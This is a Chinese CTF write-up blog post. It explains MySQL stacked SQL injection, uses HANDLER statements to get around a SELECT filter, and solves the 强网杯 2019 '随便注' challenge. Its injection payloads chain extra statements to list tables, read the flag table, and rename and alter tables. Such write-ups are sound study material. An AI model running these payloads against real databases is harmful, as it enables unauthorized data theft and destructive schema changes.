堆叠注入


用法

MySQL可以执行多条语句,多条语句之前用;做分隔。 简单的说,由于分号;为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法 执行其他恶意语句,如RENAME、DROP等,堆叠注入可以用于执行任何SQL语句。 
并不是所有情况下都可以使用堆叠注入
需要满足条件$mysqli->multi_query($sql);
注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返 回前端页面。建议使用union联合注入,若无法使用联合注入, 可考虑使用RENAME关键 字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名

当select被过滤了用handler来绕过

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一 行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是
mysql专用的语句,并没有包含到SQL标准中。
条件:堆叠注入
handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据 
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

题目

[强网杯 2019]随便注

1662190616986

输入 1’

1662190675022

报错说明存在sql注入漏洞

输入 1’ order by 3#时

1662190776274

说明select语句里有两个字段

然后尝试用联合注入获取数据库名

1662190923197

发现select被过滤了然后用堆叠注入的方法获得表名

1';show tables;#

1662191211421

得到两个表 然后分别查询两个表中的字段

1';show columns from `1919810931114514`;#

1662191442844

这里发现有个 flag

第一种方法:

所以只需 select flag from 1919810931114514;# 但是select被过滤了所以要用handler1

1';handler `1919810931114514` open;handler `1919810931114514` read first#

得到flag

1662191646739

第二种方法:

1';show columns from `words`;#

1662206518828

发现了 id data 这两个字段

可以

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,把flag改为id

1';RENAME TABLE `words` TO `words2`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#

然后

payload

1' or 1#

1662208984049


文章作者: f14g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 f14g !
评论
  目录